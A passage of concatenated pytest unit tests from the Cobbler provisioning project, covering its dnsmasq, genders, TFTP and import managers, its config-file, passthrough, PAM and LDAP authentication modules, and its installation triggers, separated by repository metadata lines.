test_manager_remove_single_ethers_entry(cobbler_api: CobblerAPI): # Arrange mock_remove_line_in_file = MagicMock() mock_system = _generate_test_system(cobbler_api) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) utils.remove_lines_in_file = mock_remove_line_in_file # type: ignore system_mac = mock_system.interfaces["default"].mac_address.upper() # Act test_manager.remove_single_ethers_entry(mock_system) # Assert mock_remove_line_in_file.assert_called_once_with( cobbler_api.settings().dnsmasq_ethers_file, [system_mac] ) def test_manager_remove_single_hosts_entry(cobbler_api: CobblerAPI): # Arrange mock_remove_line_in_file = MagicMock() mock_system = _generate_test_system(cobbler_api) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) utils.remove_lines_in_file = mock_remove_line_in_file # type: ignore system_ip_addr = mock_system.interfaces["default"].ipv6_address system_dns = mock_system.interfaces["default"].dns_name # Act test_manager.remove_single_hosts_entry(mock_system) # Assert mock_remove_line_in_file.assert_called_once_with( cobbler_api.settings().dnsmasq_hosts_file, [f"{system_ip_addr}\t{system_dns}\n"] ) def test_manager_sync_single_ethers_entry( mocker: "MockerFixture", cobbler_api: CobblerAPI ): # Arrange mock_builtins_open = mocker.patch("builtins.open", mocker.mock_open()) mock_system = _generate_test_system(cobbler_api) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) system_mac = mock_system.interfaces["default"].mac_address.upper() system_ip4 = mock_system.interfaces["default"].ip_address # Act test_manager.sync_single_ethers_entry(mock_system) # Assert mock_builtins_open.assert_called_once_with( cobbler_api.settings().dnsmasq_ethers_file, "a", encoding="UTF-8" ) write_handle = mock_builtins_open() write_handle.write.assert_called_once_with(f"{system_mac}\t{system_ip4}\n") def test_manager_regen_hosts(mocker: "MockerFixture", cobbler_api: CobblerAPI): # Arrange mock_builtins_open = mocker.patch("builtins.open", mocker.mock_open()) mock_system = _generate_test_system(cobbler_api) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) test_manager.systems = [mock_system] # type: ignore system_dns = mock_system.interfaces["default"].dns_name system_ip6 = mock_system.interfaces["default"].ipv6_address # Act test_manager.regen_hosts() # Assert mock_builtins_open.assert_called_once_with( cobbler_api.settings().dnsmasq_hosts_file, "w", encoding="UTF-8" ) write_handle = mock_builtins_open() write_handle.write.assert_called_once_with(f"{system_ip6}\t{system_dns}\n") def test_manager_add_single_hosts_entry( mocker: "MockerFixture", cobbler_api: CobblerAPI ): # Arrange mock_builtins_open = mocker.patch("builtins.open", mocker.mock_open()) mock_system = _generate_test_system(cobbler_api) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) system_dns = mock_system.interfaces["default"].dns_name system_ip6 = mock_system.interfaces["default"].ipv6_address # Act test_manager.add_single_hosts_entry(mock_system) # Assert mock_builtins_open.assert_called_with( cobbler_api.settings().dnsmasq_hosts_file, "a", encoding="UTF-8" ) write_handle = mock_builtins_open() write_handle.write.assert_called_with(f"{system_ip6}\t{system_dns}\n") def test_manager_remove_single_system(mocker: "MockerFixture", cobbler_api: CobblerAPI): # Arrange mocker.patch( "time.gmtime", return_value=time.struct_time((2000, 1, 1, 0, 0, 0, 0, 1, 1)), ) mock_system = _generate_test_system(cobbler_api) mock_profile = Profile(cobbler_api) mock_distro = Distro(cobbler_api) mock_distro.arch = "x86_64" dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) test_manager.systems = [mock_system] # type: ignore mock_write_configs = MagicMock() mock_remove_single_ethers_entry = MagicMock() test_manager._write_configs = mock_write_configs # type: ignore test_manager.remove_single_ethers_entry = mock_remove_single_ethers_entry mocker.patch.object(mock_system, "get_conceptual_parent", return_value=mock_profile) mocker.patch.object(mock_profile, "get_conceptual_parent", return_value=mock_distro) # Act test_manager.remove_single_system(mock_system) # Assert mock_write_configs.assert_called_once_with( { "insert_cobbler_system_definitions": "", "date": "Mon Jan 1 00:00:00 2000", "cobbler_server": cobbler_api.settings().server, "next_server_v4": cobbler_api.settings().next_server_v4, "next_server_v6": cobbler_api.settings().next_server_v6, "addn_host_file": cobbler_api.settings().dnsmasq_hosts_file, } ) mock_remove_single_ethers_entry.assert_called_with(mock_system) def test_manager_restart_service(mocker: "MockerFixture", cobbler_api: CobblerAPI): # Arrange mock_service_restart = mocker.patch( "cobbler.utils.process_management.service_restart", return_value=0 ) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) # Act result = test_manager.restart_service() # Assert assert mock_service_restart.call_count == 1 mock_service_restart.assert_called_with("dnsmasq") assert result == 0
12,990
Python
.py
292
38.996575
129
0.702207
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,021
genders_test.py
cobbler_cobbler/tests/modules/managers/genders_test.py
""" Tests that validate the functionality of the module that is responsible for managing the genders config file. """ import time from typing import TYPE_CHECKING from unittest.mock import MagicMock import pytest from cobbler.api import CobblerAPI from cobbler.items.distro import Distro from cobbler.items.profile import Profile from cobbler.items.system import System from cobbler.modules.managers import genders from cobbler.settings import Settings if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.fixture def api_genders_mock() -> CobblerAPI: # pylint: disable=protected-access settings_mock = MagicMock(name="genders_setting_mock", spec=Settings) settings_mock.server = "127.0.0.1" settings_mock.default_template_type = "cheetah" settings_mock.cheetah_import_whitelist = ["re"] settings_mock.always_write_dhcp_entries = True settings_mock.http_port = 80 settings_mock.next_server_v4 = "" settings_mock.next_server_v6 = "127.0.0.1" settings_mock.default_ownership = [] settings_mock.default_virt_bridge = "" settings_mock.default_virt_type = "auto" settings_mock.default_virt_ram = 64 settings_mock.restart_dhcp = True settings_mock.enable_ipxe = True settings_mock.enable_menu = True settings_mock.virt_auto_boot = True settings_mock.default_name_servers = [] settings_mock.default_name_servers_search = [] settings_mock.manage_dhcp_v4 = True settings_mock.manage_dhcp_v6 = True settings_mock.manage_genders = True settings_mock.jinja2_includedir = "" settings_mock.default_virt_disk_driver = "raw" settings_mock.cache_enabled = False api_mock = MagicMock(autospec=True, spec=CobblerAPI) api_mock.settings.return_value = settings_mock test_distro = Distro(api_mock) test_distro.name = "test_distro" api_mock.distros.return_value = [test_distro] test_profile = Profile(api_mock) test_profile.name = "test_profile" test_profile._parent = test_distro.name # type: ignore[reportPrivateUsage] api_mock.profiles.return_value = [test_profile] test_system = System(api_mock) test_system.name = "test_system" test_system._parent = test_profile.name # type: ignore[reportPrivateUsage] api_mock.find_system.return_value = [test_system] api_mock.systems.return_value = [test_system] return api_mock def test_register(): # Arrange # Act result = genders.register() # Assert assert result == "/var/lib/cobbler/triggers/change/*" def test_write_genders_file(mocker: "MockerFixture", api_genders_mock: CobblerAPI): # Arrange templar_mock = mocker.patch( "cobbler.modules.managers.genders.Templar", autospec=True ) mocker.patch("builtins.open", mocker.mock_open(read_data="test")) mocker.patch( "time.gmtime", return_value=time.struct_time((2000, 1, 1, 0, 0, 0, 0, 1, 1)), ) # Act genders.write_genders_file( api_genders_mock, "profiles_genders_value", # type: ignore[reportArgumentType] "distros_genders_value", # type: ignore[reportArgumentType] "mgmtcls_genders_value", # type: ignore[reportArgumentType] ) # Assert assert templar_mock.return_value.render.call_count == 1 templar_mock.return_value.render.assert_called_with( "test", { "date": "Mon Jan 1 00:00:00 2000", "profiles_genders": "profiles_genders_value", "distros_genders": "distros_genders_value", "mgmtcls_genders": "mgmtcls_genders_value", }, "/etc/genders", ) def test_run(mocker: "MockerFixture", api_genders_mock: CobblerAPI): # Arrange genders_mock = mocker.patch( "cobbler.modules.managers.genders.write_genders_file", autospec=True ) # Act result = genders.run(api_genders_mock, []) # Assert genders_mock.assert_called_with( api_genders_mock, {"test_profile": "test_system"}, {"test_distro": "test_system"}, {}, ) assert result == 0
4,081
Python
.py
107
32.794393
109
0.696235
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,022
in_tftpd_test.py
cobbler_cobbler/tests/modules/managers/in_tftpd_test.py
""" Tests that validate the functionality of the module that is responsible for managing the config files of the ISC DHCP server. """ from typing import TYPE_CHECKING, Any, Generator, List from unittest.mock import MagicMock, Mock import pytest from cobbler.api import CobblerAPI from cobbler.items.distro import Distro from cobbler.items.profile import Profile from cobbler.items.system import System from cobbler.modules.managers import in_tftpd from cobbler.settings import Settings from cobbler.tftpgen import TFTPGen if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.fixture(name="api_mock_tftp") def fixture_api_mock_tftp() -> CobblerAPI: api_mock_tftp = MagicMock(spec=CobblerAPI) settings_mock = MagicMock( name="in_tftpd_setting_mock", spec=Settings, autospec=True ) settings_mock.server = "127.0.0.1" settings_mock.default_template_type = "cheetah" settings_mock.cheetah_import_whitelist = ["re"] settings_mock.always_write_dhcp_entries = True settings_mock.http_port = 80 settings_mock.next_server_v4 = "" settings_mock.next_server_v6 = "" settings_mock.default_ownership = [] settings_mock.default_virt_bridge = "" settings_mock.default_virt_type = "auto" settings_mock.default_virt_ram = 64 settings_mock.restart_dhcp = True settings_mock.enable_ipxe = True settings_mock.enable_menu = True settings_mock.virt_auto_boot = True settings_mock.default_name_servers = [] settings_mock.default_name_servers_search = [] settings_mock.manage_dhcp_v4 = True settings_mock.manage_dhcp_v6 = True settings_mock.jinja2_includedir = "" settings_mock.default_virt_disk_driver = "raw" settings_mock.tftpboot_location = "/var/lib/tftpboot" settings_mock.webdir = "/srv/www/cobbler" settings_mock.cache_enabled = False api_mock_tftp.settings.return_value = settings_mock test_distro = Distro(api_mock_tftp) test_distro.name = "test" test_profile = Profile(api_mock_tftp) test_profile.name = "test" test_system = System(api_mock_tftp) test_system.name = "test" api_mock_tftp.find_system.return_value = test_system api_mock_tftp.distros = MagicMock(return_value=[test_distro]) api_mock_tftp.profiles = MagicMock(return_value=[test_profile]) api_mock_tftp.systems = MagicMock(return_value=[test_system]) api_mock_tftp.repos = MagicMock(return_value=[]) return api_mock_tftp @pytest.fixture(name="reset_singleton", scope="function", autouse=True) def fixture_reset_singleton() -> Generator[Any, Any, Any]: in_tftpd.MANAGER = None yield in_tftpd.MANAGER = None def test_register(): # Arrange # Act result = in_tftpd.register() # Assert assert result == "manage" def test_manager_what(): # Arrange & Act & Assert assert in_tftpd._InTftpdManager.what() == "in_tftpd" # type: ignore[reportPrivateUsage] def test_tftpd_singleton(reset_singleton: Any): # Arrange mcollection = Mock() # Act manager_1 = in_tftpd.get_manager(mcollection) manager_2 = in_tftpd.get_manager(mcollection) # Assert assert manager_1 == manager_2 @pytest.mark.skip( "TODO: in utils.blender() we have the problem that 'server' is not available." ) def test_manager_write_boot_files_distro( api_mock_tftp: CobblerAPI, reset_singleton: Any ): # Arrange manager_obj = in_tftpd.get_manager(api_mock_tftp) # Act result = manager_obj.write_boot_files_distro(api_mock_tftp.distros()[0]) # type: ignore[reportUnknownArgumentType] # Assert assert result == 0 def test_manager_write_boot_files( mocker: "MockerFixture", api_mock_tftp: CobblerAPI, reset_singleton: Any ): # Arrange manager_obj = in_tftpd.get_manager(api_mock_tftp) mocker.patch.object(manager_obj, "write_boot_files_distro") # Act result = manager_obj.write_boot_files() # Assert # pylint: disable=no-member assert manager_obj.write_boot_files_distro.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert result == 0 def test_manager_sync_single_system( mocker: "MockerFixture", api_mock_tftp: CobblerAPI, reset_singleton: Any ): # Arrange manager_obj = in_tftpd.get_manager(api_mock_tftp) tftpgen_mock = MagicMock(spec=TFTPGen, autospec=True) mocker.patch.object(manager_obj, "tftpgen", return_value=tftpgen_mock) # Act manager_obj.sync_single_system(None, None) # type: ignore[reportArgumentType] # Assert # pylint: disable=no-member assert manager_obj.tftpgen.write_all_system_files.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert manager_obj.tftpgen.write_templates.call_count == 1 # type: ignore[reportFunctionMemberAccess] def test_manager_add_single_distro( mocker: "MockerFixture", api_mock_tftp: CobblerAPI, reset_singleton: Any ): # Arrange manager_obj = in_tftpd.get_manager(api_mock_tftp) tftpgen_mock = MagicMock(spec=TFTPGen, autospec=True) mocker.patch.object(manager_obj, "tftpgen", return_value=tftpgen_mock) mocker.patch.object(manager_obj, "write_boot_files_distro") # Act manager_obj.add_single_distro(None) # type: ignore[reportArgumentType] # Assert # pylint: disable=no-member assert manager_obj.tftpgen.copy_single_distro_files.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert manager_obj.write_boot_files_distro.call_count == 1 # type: ignore[reportFunctionMemberAccess] @pytest.mark.parametrize( "input_systems, input_verbose, expected_output", [(["t1.example.org"], True, "t1.example.org")], ) def test_sync_systems( mocker: "MockerFixture", api_mock_tftp: CobblerAPI, input_systems: List[str], input_verbose: bool, expected_output: str, reset_singleton: Any, ): # Arrange manager_obj = in_tftpd.get_manager(api_mock_tftp) tftpgen_mock = MagicMock(spec=TFTPGen, autospec=True) mocker.patch.object(manager_obj, "tftpgen", return_value=tftpgen_mock) single_system_mock = mocker.patch.object(manager_obj, "sync_single_system") # Act manager_obj.sync_systems(input_systems, input_verbose) # Assert # pylint: disable=no-member assert manager_obj.tftpgen.get_menu_items.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert single_system_mock.call_count == 1 assert manager_obj.tftpgen.make_pxe_menu.call_count == 1 # type: ignore[reportFunctionMemberAccess] def test_manager_sync( mocker: "MockerFixture", api_mock_tftp: CobblerAPI, reset_singleton: Any ): # Arrange manager_obj = in_tftpd.get_manager(api_mock_tftp) tftpgen_mock = MagicMock(spec=TFTPGen, autospec=True) mocker.patch.object(manager_obj, "tftpgen", return_value=tftpgen_mock) # Act manager_obj.sync() # Assert # pylint: disable=no-member assert manager_obj.tftpgen.copy_bootloaders.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert manager_obj.tftpgen.copy_single_distro_files.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert manager_obj.tftpgen.copy_images.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert manager_obj.tftpgen.get_menu_items.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert manager_obj.tftpgen.write_all_system_files.call_count == 1 # type: ignore[reportFunctionMemberAccess] assert manager_obj.tftpgen.make_pxe_menu.call_count == 1 # type: ignore[reportFunctionMemberAccess]
7,538
Python
.py
173
39.190751
119
0.731977
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,023
import_signatures_test.py
cobbler_cobbler/tests/modules/managers/import_signatures_test.py
""" Tests that validate the functionality of the module that is responsible for managing imported distribution trees. """ import pytest from cobbler.api import CobblerAPI from cobbler.modules.managers import import_signatures def test_register(): # Arrange # Act result = import_signatures.register() # Assert assert result == "manage/import" @pytest.mark.skip("too lazy to implement") def test_import_walker(): # Arrange # Act import_signatures.import_walker("", True, "") # type: ignore # Assert assert False def test_get_manager(cobbler_api: CobblerAPI): # Arrange & Act result = import_signatures.get_import_manager(cobbler_api) # Assert # pylint: disable-next=protected-access isinstance(result, import_signatures._ImportSignatureManager) # type: ignore def test_manager_what(): # Arrange & Act & Assert # pylint: disable-next=protected-access assert import_signatures._ImportSignatureManager.what() == "import/signatures" # type: ignore
1,031
Python
.py
29
31.62069
113
0.737108
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,024
configfile_test.py
cobbler_cobbler/tests/modules/authentication/configfile_test.py
""" Tests that validate the functionality of the module that is responsible for configuration file authentication. """ import pytest from cobbler.api import CobblerAPI from cobbler.modules.authentication import configfile @pytest.fixture(scope="function", autouse=True) def reset_hashfunction(cobbler_api: CobblerAPI): yield cobbler_api.settings().modules.update( { "authentication": { "module": "authentication.configfile", "hash_algorithm": "sha3_512", } } ) @pytest.mark.parametrize( "hashfunction,test_input,exepcted_output", [ ( "sha3_512", "testtext", "eb17eb7a79798b31b3e625f2ff7a5cd05932254ca5f686764e9655274dde03c28ed4a7ab70b0637b5dc97e61da2ee07cc80e0c4f7d00feceb2d74cbe3a579698", ) ], ) def test_hashfun_positive( cobbler_api: CobblerAPI, hashfunction: str, test_input: str, exepcted_output: str ): # Arrange cobbler_api.settings().modules.update( {"authentication": {"hash_algorithm": hashfunction}} ) # Act result = configfile.hashfun(cobbler_api, test_input) # Assert assert result == exepcted_output @pytest.mark.parametrize( "hashfunction,test_input,exepcted_output", [("md5", "testtext", "")] ) def test_hashfun_negative( cobbler_api: CobblerAPI, hashfunction: str, test_input: str, exepcted_output: str ): # Arrange cobbler_api.settings().modules.update( {"authentication": {"hash_algorithm": hashfunction}} ) # Act & Assert with pytest.raises(ValueError): configfile.hashfun(cobbler_api, test_input) def test_register(): assert configfile.register() is "authn" @pytest.mark.parametrize( "hashfunction, username, password", [("md5", "cobbler", "cobbler")] ) def test_authenticate_negative( cobbler_api: CobblerAPI, hashfunction: str, username: str, password: str ): # Arrange cobbler_api.settings().modules.update( {"authentication": {"hash_algorithm": hashfunction}} ) # Act & Assert with pytest.raises(ValueError): configfile.authenticate(cobbler_api, username, password) @pytest.mark.parametrize( "hashfunction, username, password", [("sha3_512", "cobbler", "cobbler")] ) def test_authenticate_positive( cobbler_api: CobblerAPI, hashfunction: str, username: str, password: str ): # Arrange cobbler_api.settings().modules.update( {"authentication": {"hash_algorithm": hashfunction}} ) # Act result = configfile.authenticate(cobbler_api, username, password) # Assert assert result
2,643
Python
.py
80
27.7375
143
0.693669
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,025
passthrough_test.py
cobbler_cobbler/tests/modules/authentication/passthrough_test.py
""" Tests that validate the functionality of the module that is responsible for passthrough authentication. """ from pytest import MonkeyPatch from cobbler import utils from cobbler.api import CobblerAPI from cobbler.modules.authentication import passthru class TestPassthrough: def test_authenticate_negative(self, cobbler_api: CobblerAPI): # Arrange & Act result = passthru.authenticate(cobbler_api, "", "") # Assert assert not result def test_authenticate(self, monkeypatch: MonkeyPatch, cobbler_api: CobblerAPI): # Arrange def mockreturn(): return "testpassword" monkeypatch.setattr(utils, "get_shared_secret", mockreturn) # Act result = passthru.authenticate(cobbler_api, "", "testpassword") # Assert assert result
837
Python
.py
22
31.727273
103
0.709677
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,026
pam_test.py
cobbler_cobbler/tests/modules/authentication/pam_test.py
""" Tests that validate the functionality of the module that is responsible for PAM authentication. """ from cobbler.api import CobblerAPI from cobbler.modules.authentication import pam class TestPam: def test_authenticate(self, cobbler_api: CobblerAPI): # Arrange test_username = "test" test_password = "test" # Act result = pam.authenticate(cobbler_api, test_username, test_password) # Assert assert result
474
Python
.py
14
28.214286
95
0.707692
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,027
ldap_test.py
cobbler_cobbler/tests/modules/authentication/ldap_test.py
""" Tests that validate the functionality of the module that is responsible for LDAP authentication. """ from typing import TYPE_CHECKING import pytest import cobbler.settings from cobbler.api import CobblerAPI from cobbler.modules.authentication import ldap if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.fixture(name="test_settings") def fixture_test_settings( mocker: "MockerFixture", cobbler_api: CobblerAPI ) -> cobbler.settings.Settings: settings = mocker.MagicMock( name="ldap_setting_mock", spec=cobbler.settings.Settings ) settings.ldap_server = "localhost" settings.ldap_port = 389 settings.ldap_base_dn = "dc=example,dc=com" settings.ldap_search_prefix = "uid=" settings.ldap_anonymous_bind = True settings.ldap_reqcert = "hard" settings.ldap_tls_cipher_suite = "" settings.ldap_tls_cacertfile = "" settings.ldap_tls_keyfile = "" settings.ldap_tls_certfile = "" settings.ldap_tls_reqcert = "hard" return settings class TestLdap: @pytest.mark.parametrize( "anonymous_bind, username, password", [(True, "test", "test")] ) def test_anon_bind_positive( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, anonymous_bind: bool, username: str, password: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_anonymous_bind = anonymous_bind test_settings.ldap_tls = False # Act result = ldap.authenticate(cobbler_api, username, password) # Assert assert result @pytest.mark.parametrize( "anonymous_bind, username, password", [(True, "test", "bad")] ) def test_anon_bind_negative( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, anonymous_bind: bool, username: str, password: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_anonymous_bind = anonymous_bind test_settings.ldap_tls = False # Act result = ldap.authenticate(cobbler_api, username, password) # Assert assert not result @pytest.mark.parametrize( "anonymous_bind, bind_user, bind_password, username, password", [(False, "uid=user,dc=example,dc=com", "test", "test", "test")], ) def test_user_bind_positive( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, anonymous_bind: bool, bind_user: str, bind_password: str, username: str, password: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_anonymous_bind = anonymous_bind test_settings.ldap_search_bind_dn = bind_user test_settings.ldap_search_passwd = bind_password test_settings.ldap_tls = False # Act result = ldap.authenticate(cobbler_api, username, password) # Assert assert result @pytest.mark.parametrize( "anonymous_bind, bind_user, bind_password, username, password", [(False, "uid=user,dc=example,dc=com", "bad", "test", "test")], ) def test_user_bind_negative( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, anonymous_bind: bool, bind_user: str, bind_password: str, username: str, password: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_anonymous_bind = anonymous_bind test_settings.ldap_search_bind_dn = bind_user test_settings.ldap_search_passwd = bind_password test_settings.ldap_tls = False # Act result = ldap.authenticate(cobbler_api, username, password) # Assert assert not result @pytest.mark.parametrize( "tls_cadir, tls_cert, tls_key", [("/etc/ssl/certs", "/etc/ssl/ldap.crt", "/etc/ssl/ldap.key")], ) def test_cadir_positive( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, tls_cadir: str, tls_cert: str, tls_key: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_tls = True test_settings.ldap_tls_cacertdir = tls_cadir test_settings.ldap_tls_cacertfile = None # type: ignore[reportAttributeAccessIssue] test_settings.ldap_tls_certfile = tls_cert test_settings.ldap_tls_keyfile = tls_key # Act result = ldap.authenticate(cobbler_api, "test", "test") # Assert assert result @pytest.mark.parametrize( "tls_cadir, tls_cert, tls_key", [("/etc/ssl/certs", "/etc/ssl/bad.crt", "/etc/ssl/bad.key")], ) def test_cadir_negative( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, tls_cadir: str, tls_cert: str, tls_key: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_tls = True test_settings.ldap_tls_cacertdir = tls_cadir test_settings.ldap_tls_cacertfile = None # type: ignore[reportAttributeAccessIssue] test_settings.ldap_tls_certfile = tls_cert test_settings.ldap_tls_keyfile = tls_key # Act result = ldap.authenticate(cobbler_api, "test", "test") # Assert assert not result @pytest.mark.parametrize( "tls_cafile, tls_cert, tls_key", [("/etc/ssl/ca-slapd.crt", "/etc/ssl/ldap.crt", "/etc/ssl/ldap.key")], ) def test_cafile_positive( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, tls_cafile: str, tls_cert: str, tls_key: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_tls = True test_settings.ldap_tls_cacertdir = None # type: ignore[reportAttributeAccessIssue] test_settings.ldap_tls_cacertfile = tls_cafile test_settings.ldap_tls_certfile = tls_cert test_settings.ldap_tls_keyfile = tls_key # Act result = ldap.authenticate(cobbler_api, "test", "test") # Assert assert result @pytest.mark.parametrize( "tls_cafile, tls_cert, tls_key", [("/etc/ssl/ca-slapd.crt", "/etc/ssl/bad.crt", "/etc/ssl/bad.key")], ) def test_cafile_negative( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, tls_cafile: str, tls_cert: str, tls_key: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_tls = True test_settings.ldap_tls_cacertdir = None # type: ignore[reportAttributeAccessIssue] test_settings.ldap_tls_cacertfile = tls_cafile test_settings.ldap_tls_certfile = tls_cert test_settings.ldap_tls_keyfile = tls_key # Act result = ldap.authenticate(cobbler_api, "test", "test") # Assert assert not result @pytest.mark.parametrize( "tls_cafile, tls_cert, tls_key", [("/etc/ssl/ca-slapd.crt", "/etc/ssl/ldap.crt", "/etc/ssl/ldap.key")], ) def test_ldaps_positive( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, tls_cafile: str, tls_cert: str, tls_key: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_tls = False test_settings.ldap_port = 636 test_settings.ldap_tls_cacertdir = None # type: ignore[reportAttributeAccessIssue] test_settings.ldap_tls_cacertfile = tls_cafile test_settings.ldap_tls_certfile = tls_cert test_settings.ldap_tls_keyfile = tls_key # Act result = ldap.authenticate(cobbler_api, "test", "test") # Assert assert result @pytest.mark.parametrize( "tls_cafile, tls_cert, tls_key", [("/etc/ssl/ca-slapd.crt", "/etc/ssl/bad.crt", "/etc/ssl/bad.key")], ) def test_ldaps_negative( self, mocker: "MockerFixture", cobbler_api: CobblerAPI, test_settings: cobbler.settings.Settings, tls_cafile: str, tls_cert: str, tls_key: str, ): # Arrange mocker.patch.object(cobbler_api, "settings", return_value=test_settings) test_settings.ldap_tls = False test_settings.ldap_port = 636 test_settings.ldap_tls_cacertdir = None # type: ignore[reportAttributeAccessIssue] test_settings.ldap_tls_cacertfile = tls_cafile test_settings.ldap_tls_certfile = tls_cert test_settings.ldap_tls_keyfile = tls_key # Act & Assert with pytest.raises(ValueError): ldap.authenticate(cobbler_api, "test", "test")
9,654
Python
.py
265
28.516981
96
0.631883
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,028
pre_clear_anamon_logs_test.py
cobbler_cobbler/tests/modules/installation/pre_clear_anamon_logs_test.py
from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules.installation import pre_clear_anamon_logs def test_register(): # Arrange & Act result = pre_clear_anamon_logs.register() # Assert assert result == "/var/lib/cobbler/triggers/install/pre/*" def test_run(): # Arrange api = MagicMock(spec=CobblerAPI) args = ["test1", "test2", "test3"] # Act result = pre_clear_anamon_logs.run(api, args) # Assert # FIXME improve assert assert result == 0
534
Python
.py
17
27.117647
62
0.701375
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,029
post_report_test.py
cobbler_cobbler/tests/modules/installation/post_report_test.py
from unittest.mock import MagicMock import pytest from cobbler.api import CobblerAPI from cobbler.modules.installation import post_report def test_register(): # Arrange & Act result = post_report.register() # Assert assert result == "/var/lib/cobbler/triggers/install/post/*" @pytest.mark.skip("Runs endlessly") def test_run(): # Arrange api = MagicMock(spec=CobblerAPI) args = ["system", "test_name", "?"] # Act result = post_report.run(api, args) # Assert # FIXME improve assert assert result == 0
557
Python
.py
19
25.315789
63
0.703214
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,030
post_power_test.py
cobbler_cobbler/tests/modules/installation/post_power_test.py
from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules.installation import post_power def test_register(): # Arrange & Act result = post_power.register() # Assert assert result == "/var/lib/cobbler/triggers/install/post/*" def test_run(): # Arrange api = MagicMock(spec=CobblerAPI) args = ["test_objtype", "test_name"] # Act result = post_power.run(api, args) # Assert # FIXME improve assert assert result == 0
504
Python
.py
17
25.352941
63
0.699374
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,031
pre_log_test.py
cobbler_cobbler/tests/modules/installation/pre_log_test.py
from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules.installation import pre_log def test_register(): # Arrange & Act result = pre_log.register() # Assert assert result == "/var/lib/cobbler/triggers/install/pre/*" def test_run(): # Arrange api = MagicMock(spec=CobblerAPI) args = ["distro", "test_name", "?"] # Act result = pre_log.run(api, args) # Assert # FIXME improve assert assert result == 0
493
Python
.py
17
24.705882
62
0.683761
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,032
pre_puppet_test.py
cobbler_cobbler/tests/modules/installation/pre_puppet_test.py
from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules.installation import pre_puppet def test_register(): # Arrange & Act result = pre_puppet.register() # Assert assert result == "/var/lib/cobbler/triggers/install/pre/*" def test_run(): # Arrange api = MagicMock(spec=CobblerAPI) args = ["test_objtype", "test_name"] # Act result = pre_puppet.run(api, args) # Assert # FIXME improve assert assert result == 0
503
Python
.py
17
25.294118
62
0.698745
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,033
post_puppet_test.py
cobbler_cobbler/tests/modules/installation/post_puppet_test.py
